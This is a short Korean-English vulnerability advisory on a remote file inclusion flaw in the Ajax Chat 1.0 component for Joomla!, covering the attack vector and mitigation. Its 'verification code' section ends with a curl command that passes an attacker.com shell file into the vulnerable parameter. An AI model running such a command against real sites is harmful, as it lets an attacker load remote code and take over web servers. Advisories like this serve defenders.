🇰🇷 한글 설명
Joomla! Ajax Chat 컴포넌트 1.0에서 GLOBALS 배열의 절대 경로 변수를 통한 PHP 원격 파일 포함 취약점. 공격자는 tests/ajcuser.php 파일의 mosConfig_absolute_path 매개변수를 조작하여 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
Joomla 웹사이트의 Ajax Chat 플러그인에서 공격자가 특정 매개변수를 조작해 외부에서 악의적인 코드를 실행시킬 수 있는 취약점입니다. 이는 웹사이트 전체를 장악당할 수 있는 심각한 보안 문제입니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in Fiji Web Design Ajax Chat (com_ajaxchat) component 1.0 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALS[mosConfig_absolute_path] parameter to tests/ajcuser.php.
📍 영향받는 시스템
Fiji Web Design Ajax Chat (com_ajaxchat) component version 1.0 for Joomla!
⚔️ 공격 벡터
HTTP GET/POST 요청을 통해 tests/ajcuser.php의 GLOBALS[mosConfig_absolute_path] 매개변수에 악의적인 PHP 파일 경로 전달
🛡️ 대응 방법
컴포넌트를 최신 버전으로 업그레이드하거나, 입력 검증 및 파라미터 필터링을 강화하여 절대 경로 지정을 제한
🔧 검증 코드
명령어 실행 후 원격 서버의 내용이 표시되거나 PHP 오류가 발생하면 취약점 존재를 의미하며, 접근 불가 또는 404 에러는 취약점이 없거나 패치된 상태입니다.
curl -s 'http://target/components/com_ajaxchat/tests/ajcuser.php?GLOBALS[mosConfig_absolute_path]=http://attacker.com/shell.txt%00' 2>/dev/null | head -20